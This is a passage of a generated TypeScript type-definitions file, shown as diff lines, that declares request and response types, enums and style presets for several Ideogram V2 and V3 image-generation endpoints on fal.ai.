[{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File9722Dfbb[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2TurboRemixAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2TurboRemixAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2TurboRemixAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2TurboRemixAspectRatioEnum] + +export const inputFalAiIdeogramV2TurboRemixStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2TurboRemixStyleEnumKey = + (typeof inputFalAiIdeogramV2TurboRemixStyleEnum)[keyof typeof inputFalAiIdeogramV2TurboRemixStyleEnum] + +export type InputFalAiIdeogramV2TurboRemix = { + /** + * @description The prompt to remix the image with + * @example An ice field in north atlantic + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to remix + * @example https://fal.media/files/lion/FHOx4y4a0ef7Sgmo-sOUR_image.png + * @type string + */ + image_url: string + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2TurboRemixAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2TurboRemixStyleEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type FileAea481Ae = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2TurboRemix = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: FileAea481Ae[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2AAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2AAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2AAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2AAspectRatioEnum] + +export const inputFalAiIdeogramV2AStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2AStyleEnumKey = + (typeof inputFalAiIdeogramV2AStyleEnum)[keyof typeof inputFalAiIdeogramV2AStyleEnum] + +export type InputFalAiIdeogramV2A = { + /** + * @example A comic style illustration of a skeleton sitting on a toilet in a bathroom. The bathroom has a Halloween decoration with a pumpkin jack-o-lantern and bats flying around. There is a text above the skeleton that says "Just Waiting for Halloween with Ideogram 2.0 at fal.ai" + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2AAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2AStyleEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Seed for the random number generator + */ + seed?: number | null +} + +export type File26A36670 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2A = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File26A36670[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2ARemixAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2ARemixAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2ARemixAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2ARemixAspectRatioEnum] + +export const inputFalAiIdeogramV2ARemixStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2ARemixStyleEnumKey = + (typeof inputFalAiIdeogramV2ARemixStyleEnum)[keyof typeof inputFalAiIdeogramV2ARemixStyleEnum] + +export type InputFalAiIdeogramV2ARemix = { + /** + * @description The prompt to remix the image with + * @example An ice field in north atlantic + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to remix + * @example https://fal.media/files/lion/FHOx4y4a0ef7Sgmo-sOUR_image.png + * @type string + */ + image_url: string + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2ARemixAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2ARemixStyleEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File8B012C22 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2ARemix = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File8B012C22[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2ATurboAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2ATurboAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2ATurboAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2ATurboAspectRatioEnum] + +export const inputFalAiIdeogramV2ATurboStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2ATurboStyleEnumKey = + (typeof inputFalAiIdeogramV2ATurboStyleEnum)[keyof typeof inputFalAiIdeogramV2ATurboStyleEnum] + +export type InputFalAiIdeogramV2ATurbo = { + /** + * @example A comic style illustration of a skeleton sitting on a toilet in a bathroom. The bathroom has a Halloween decoration with a pumpkin jack-o-lantern and bats flying around. There is a text above the skeleton that says "Just Waiting for Halloween with Ideogram 2.0 at fal.ai" + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2ATurboAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2ATurboStyleEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Seed for the random number generator + */ + seed?: number | null +} + +export type File7A9B9237 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2ATurbo = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File7A9B9237[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV2ATurboRemixAspectRatioEnum = { + '10:16': '10:16', + '16:10': '16:10', + '9:16': '9:16', + '16:9': '16:9', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', + '1:3': '1:3', + '3:1': '3:1', + '3:2': '3:2', + '2:3': '2:3', +} as const + +export type InputFalAiIdeogramV2ATurboRemixAspectRatioEnumKey = + (typeof inputFalAiIdeogramV2ATurboRemixAspectRatioEnum)[keyof typeof inputFalAiIdeogramV2ATurboRemixAspectRatioEnum] + +export const inputFalAiIdeogramV2ATurboRemixStyleEnum = { + auto: 'auto', + general: 'general', + realistic: 'realistic', + design: 'design', + render_3D: 'render_3D', + anime: 'anime', +} as const + +export type InputFalAiIdeogramV2ATurboRemixStyleEnumKey = + (typeof inputFalAiIdeogramV2ATurboRemixStyleEnum)[keyof typeof inputFalAiIdeogramV2ATurboRemixStyleEnum] + +export type InputFalAiIdeogramV2ATurboRemix = { + /** + * @description The prompt to remix the image with + * @example An ice field in north atlantic + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to remix + * @example https://fal.media/files/lion/FHOx4y4a0ef7Sgmo-sOUR_image.png + * @type string + */ + image_url: string + /** + * @description Strength of the input image in the remix + * @minimum 0.01 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + strength?: number + /** + * @description The aspect ratio of the generated image + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV2ATurboRemixAspectRatioEnumKey + /** + * @description Whether to expand the prompt with MagicPrompt functionality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The style of the generated image + * @default 'auto' + * @type string | undefined + */ + style?: InputFalAiIdeogramV2ATurboRemixStyleEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File4509C949 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV2ATurboRemix = { + /** + * @example [{"url":"https://fal.media/files/monkey/cNaoxPl0YAWYb-QVBvO9F_image.png"}] + * @type array + */ + images: File4509C949[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type ImageSize43Aa845E = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiIdeogramV3ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiIdeogramV3ImageSizeKey = + (typeof inputFalAiIdeogramV3ImageSize)[keyof typeof inputFalAiIdeogramV3ImageSize] + +export const inputFalAiIdeogramV3RenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3RenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3RenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3RenderingSpeedEnum] + +export const inputFalAiIdeogramV3Style = { + AUTO: 'AUTO', + GENERAL: 'GENERAL', + REALISTIC: 'REALISTIC', + DESIGN: 'DESIGN', +} as const + +export type InputFalAiIdeogramV3StyleKey = + (typeof inputFalAiIdeogramV3Style)[keyof typeof inputFalAiIdeogramV3Style] + +export const inputFalAiIdeogramV3StylePreset = { + '80S_ILLUSTRATION': '80S_ILLUSTRATION', + '90S_NOSTALGIA': '90S_NOSTALGIA', + ABSTRACT_ORGANIC: 'ABSTRACT_ORGANIC', + ANALOG_NOSTALGIA: 'ANALOG_NOSTALGIA', + ART_BRUT: 'ART_BRUT', + ART_DECO: 'ART_DECO', + ART_POSTER: 'ART_POSTER', + AURA: 'AURA', + AVANT_GARDE: 'AVANT_GARDE', + BAUHAUS: 'BAUHAUS', + BLUEPRINT: 'BLUEPRINT', + BLURRY_MOTION: 'BLURRY_MOTION', + BRIGHT_ART: 'BRIGHT_ART', + C4D_CARTOON: 'C4D_CARTOON', + CHILDRENS_BOOK: 'CHILDRENS_BOOK', + COLLAGE: 'COLLAGE', + COLORING_BOOK_I: 'COLORING_BOOK_I', + COLORING_BOOK_II: 'COLORING_BOOK_II', + CUBISM: 'CUBISM', + DARK_AURA: 'DARK_AURA', + DOODLE: 'DOODLE', + DOUBLE_EXPOSURE: 'DOUBLE_EXPOSURE', + DRAMATIC_CINEMA: 'DRAMATIC_CINEMA', + EDITORIAL: 'EDITORIAL', + EMOTIONAL_MINIMAL: 'EMOTIONAL_MINIMAL', + ETHEREAL_PARTY: 'ETHEREAL_PARTY', + EXPIRED_FILM: 'EXPIRED_FILM', + FLAT_ART: 'FLAT_ART', + FLAT_VECTOR: 'FLAT_VECTOR', + FOREST_REVERIE: 'FOREST_REVERIE', + GEO_MINIMALIST: 'GEO_MINIMALIST', + GLASS_PRISM: 'GLASS_PRISM', + GOLDEN_HOUR: 'GOLDEN_HOUR', + GRAFFITI_I: 'GRAFFITI_I', + GRAFFITI_II: 'GRAFFITI_II', + HALFTONE_PRINT: 'HALFTONE_PRINT', + HIGH_CONTRAST: 'HIGH_CONTRAST', + HIPPIE_ERA: 'HIPPIE_ERA', + ICONIC: 'ICONIC', + JAPANDI_FUSION: 'JAPANDI_FUSION', + JAZZY: 'JAZZY', + LONG_EXPOSURE: 'LONG_EXPOSURE', + MAGAZINE_EDITORIAL: 'MAGAZINE_EDITORIAL', + MINIMAL_ILLUSTRATION: 'MINIMAL_ILLUSTRATION', + MIXED_MEDIA: 'MIXED_MEDIA', + MONOCHROME: 'MONOCHROME', + NIGHTLIFE: 'NIGHTLIFE', + OIL_PAINTING: 'OIL_PAINTING', + OLD_CARTOONS: 'OLD_CARTOONS', + PAINT_GESTURE: 'PAINT_GESTURE', + POP_ART: 'POP_ART', + RETRO_ETCHING: 'RETRO_ETCHING', + RIVIERA_POP: 'RIVIERA_POP', + SPOTLIGHT_80S: 'SPOTLIGHT_80S', + STYLIZED_RED: 'STYLIZED_RED', + SURREAL_COLLAGE: 'SURREAL_COLLAGE', + TRAVEL_POSTER: 'TRAVEL_POSTER', + VINTAGE_GEO: 'VINTAGE_GEO', + VINTAGE_POSTER: 'VINTAGE_POSTER', + WATERCOLOR: 'WATERCOLOR', + WEIRD: 'WEIRD', + WOODBLOCK_PRINT: 'WOODBLOCK_PRINT', +} as const + +export type InputFalAiIdeogramV3StylePresetKey = + (typeof inputFalAiIdeogramV3StylePreset)[keyof typeof inputFalAiIdeogramV3StylePreset] + +export type InputFalAiIdeogramV3 = { + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @example The Bone Forest stretched across the horizon, its trees fashioned from the ossified remains of ancient leviathans that once swam through the sky. Shamans with antlers growing from their shoulders and eyes that revealed the true nature of any being they beheld conducted rituals to commune with the spirits that still inhabited the calcified grove. In sky writes "Ideogram V3 in fal.ai" + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description Description of what to exclude from an image. Descriptions in the prompt take precedence to descriptions in the negative prompt. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The resolution of the generated image + * @default square_hd + */ + image_size?: ImageSize43Aa845E | InputFalAiIdeogramV3ImageSizeKey | null + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3RenderingSpeedEnumKey + /** + * @description The style type to generate with. Cannot be used with style_codes. + */ + style?: InputFalAiIdeogramV3StyleKey | null + /** + * @description Style preset for generation. The chosen style preset will guide the generation. + */ + style_preset?: InputFalAiIdeogramV3StylePresetKey | null + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File964D9Cac = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3 = { + /** + * @example [{"url":"https://v3.fal.media/files/penguin/lHdRabS80guysb8Zw1kul_image.png"}] + * @type array + */ + images: File964D9Cac[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV3EditRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3EditRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3EditRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3EditRenderingSpeedEnum] + +export const inputFalAiIdeogramV3EditStylePreset = { + '80S_ILLUSTRATION': '80S_ILLUSTRATION', + '90S_NOSTALGIA': '90S_NOSTALGIA', + ABSTRACT_ORGANIC: 'ABSTRACT_ORGANIC', + ANALOG_NOSTALGIA: 'ANALOG_NOSTALGIA', + ART_BRUT: 'ART_BRUT', + ART_DECO: 'ART_DECO', + ART_POSTER: 'ART_POSTER', + AURA: 'AURA', + AVANT_GARDE: 'AVANT_GARDE', + BAUHAUS: 'BAUHAUS', + BLUEPRINT: 'BLUEPRINT', + BLURRY_MOTION: 'BLURRY_MOTION', + BRIGHT_ART: 'BRIGHT_ART', + C4D_CARTOON: 'C4D_CARTOON', + CHILDRENS_BOOK: 'CHILDRENS_BOOK', + COLLAGE: 'COLLAGE', + COLORING_BOOK_I: 'COLORING_BOOK_I', + COLORING_BOOK_II: 'COLORING_BOOK_II', + CUBISM: 'CUBISM', + DARK_AURA: 'DARK_AURA', + DOODLE: 'DOODLE', + DOUBLE_EXPOSURE: 'DOUBLE_EXPOSURE', + DRAMATIC_CINEMA: 'DRAMATIC_CINEMA', + EDITORIAL: 'EDITORIAL', + EMOTIONAL_MINIMAL: 'EMOTIONAL_MINIMAL', + ETHEREAL_PARTY: 'ETHEREAL_PARTY', + EXPIRED_FILM: 'EXPIRED_FILM', + FLAT_ART: 'FLAT_ART', + FLAT_VECTOR: 'FLAT_VECTOR', + FOREST_REVERIE: 'FOREST_REVERIE', + GEO_MINIMALIST: 'GEO_MINIMALIST', + GLASS_PRISM: 'GLASS_PRISM', + GOLDEN_HOUR: 'GOLDEN_HOUR', + GRAFFITI_I: 'GRAFFITI_I', + GRAFFITI_II: 'GRAFFITI_II', + HALFTONE_PRINT: 'HALFTONE_PRINT', + HIGH_CONTRAST: 'HIGH_CONTRAST', + HIPPIE_ERA: 'HIPPIE_ERA', + ICONIC: 'ICONIC', + JAPANDI_FUSION: 'JAPANDI_FUSION', + JAZZY: 'JAZZY', + LONG_EXPOSURE: 'LONG_EXPOSURE', + MAGAZINE_EDITORIAL: 'MAGAZINE_EDITORIAL', + MINIMAL_ILLUSTRATION: 'MINIMAL_ILLUSTRATION', + MIXED_MEDIA: 'MIXED_MEDIA', + MONOCHROME: 'MONOCHROME', + NIGHTLIFE: 'NIGHTLIFE', + OIL_PAINTING: 'OIL_PAINTING', + OLD_CARTOONS: 'OLD_CARTOONS', + PAINT_GESTURE: 'PAINT_GESTURE', + POP_ART: 'POP_ART', + RETRO_ETCHING: 'RETRO_ETCHING', + RIVIERA_POP: 'RIVIERA_POP', + SPOTLIGHT_80S: 'SPOTLIGHT_80S', + STYLIZED_RED: 'STYLIZED_RED', + SURREAL_COLLAGE: 'SURREAL_COLLAGE', + TRAVEL_POSTER: 'TRAVEL_POSTER', + VINTAGE_GEO: 'VINTAGE_GEO', + VINTAGE_POSTER: 'VINTAGE_POSTER', + WATERCOLOR: 'WATERCOLOR', + WEIRD: 'WEIRD', + WOODBLOCK_PRINT: 'WOODBLOCK_PRINT', +} as const + +export type InputFalAiIdeogramV3EditStylePresetKey = + (typeof inputFalAiIdeogramV3EditStylePreset)[keyof typeof inputFalAiIdeogramV3EditStylePreset] + +export type InputFalAiIdeogramV3Edit = { + /** + * @description A set of images to use as style references (maximum total size 10MB across all style references). The images should be in JPEG, PNG or WebP format + */ + image_urls?: string[] | null + /** + * @description The mask URL to inpaint the image. MUST have the exact same dimensions (width and height) as the input image. + * @example https://v3.fal.media/files/kangaroo/1dd3zEL5MXQ3Kb4-mRi9d_indir%20(20).png + * @type string + */ + mask_url: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description The prompt to fill the masked part of the image. + * @example black bag + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image URL to generate an image from. MUST have the exact same dimensions (width and height) as the mask image. + * @example https://v3.fal.media/files/panda/-LC_gNNV3wUHaGMQT3klE_output.png + * @type string + */ + image_url: string + /** + * @description A list of 8 character hexadecimal codes representing the style of the image. Cannot be used in conjunction with style_reference_images or style + */ + style_codes?: string[] | null + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3EditRenderingSpeedEnumKey + /** + * @description A color palette for generation, must EITHER be specified via one of the presets (name) or explicitly via hexadecimal representations of the color with optional weights (members) + */ + color_palette?: ColorPalette | null + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Style preset for generation. The chosen style preset will guide the generation. + */ + style_preset?: InputFalAiIdeogramV3EditStylePresetKey | null +} + +export type File20Cac553 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3Edit = { + /** + * @example [{"url":"https://v3.fal.media/files/panda/xr7EI_0X5kM8fDOjjcMei_image.png"}] + * @type array + */ + images: File20Cac553[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export const inputFalAiIdeogramV3GenerateTransparentAspectRatioEnum = { + '1:3': '1:3', + '3:1': '3:1', + '1:2': '1:2', + '2:1': '2:1', + '9:16': '9:16', + '16:9': '16:9', + '10:16': '10:16', + '16:10': '16:10', + '2:3': '2:3', + '3:2': '3:2', + '3:4': '3:4', + '4:3': '4:3', + '4:5': '4:5', + '5:4': '5:4', + '1:1': '1:1', +} as const + +export type InputFalAiIdeogramV3GenerateTransparentAspectRatioEnumKey = + (typeof inputFalAiIdeogramV3GenerateTransparentAspectRatioEnum)[keyof typeof inputFalAiIdeogramV3GenerateTransparentAspectRatioEnum] + +export const inputFalAiIdeogramV3GenerateTransparentRenderingSpeedEnum = { + TURBO: 'TURBO', + BALANCED: 'BALANCED', + QUALITY: 'QUALITY', +} as const + +export type InputFalAiIdeogramV3GenerateTransparentRenderingSpeedEnumKey = + (typeof inputFalAiIdeogramV3GenerateTransparentRenderingSpeedEnum)[keyof typeof inputFalAiIdeogramV3GenerateTransparentRenderingSpeedEnum] + +export type InputFalAiIdeogramV3GenerateTransparent = { + /** + * @example A logo for Ideogram Coffee. + * @type string + */ + prompt: string + /** + * @description Description of what to exclude from an image. Descriptions in the prompt take precedence to descriptions in the negative prompt. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The aspect ratio of the generated image. + * @default '1:1' + * @type string | undefined + */ + aspect_ratio?: InputFalAiIdeogramV3GenerateTransparentAspectRatioEnumKey + /** + * @description The rendering speed to use. + * @default 'BALANCED' + * @type string | undefined + */ + rendering_speed?: InputFalAiIdeogramV3GenerateTransparentRenderingSpeedEnumKey + /** + * @description Determine if MagicPrompt should be used in generating the request or not. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean +} + +export type File5D60B0A7 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiIdeogramV3GenerateTransparent = { + /** + * @example [{"url":"https://v3.fal.media/files/lion/AUfCjtLkLOsdc9zEFrV-5_image.png"}] + * @type array + */ + images: File5D60B0A7[] + /** + * @description Seed used for the random number generator + * @example 123456 + * @type integer + */ + seed: number +} + +export type InputFalAiIdeogramV3LayerizeText = { + /** + * @description URL of the font file to use for h2 text. Cannot be used with font_name_h2. + */ + font_file_h2_url?: string | null + /** + * @description Name of the font to use for small text. Cannot be used with font_file_small_url. + */ + font_name_small?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the font file to use for h1 text. Cannot be used with font_name_h1. + */ + font_file_h1_url?: string | null + /** + * @description URL of the font file to use for small text. Cannot be used with font_name_small. + */ + font_file_small_url?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Name of the font to use for body text. Cannot be used with font_file_body_url. + */ + font_name_body?: string | null + /** + * @description Optional prompt to guide the layerization. + */ + prompt?: string | null + /** + * @description Seed for the random number generator. + */ + seed?: number | null + /** + * @description URL of the font file to use for 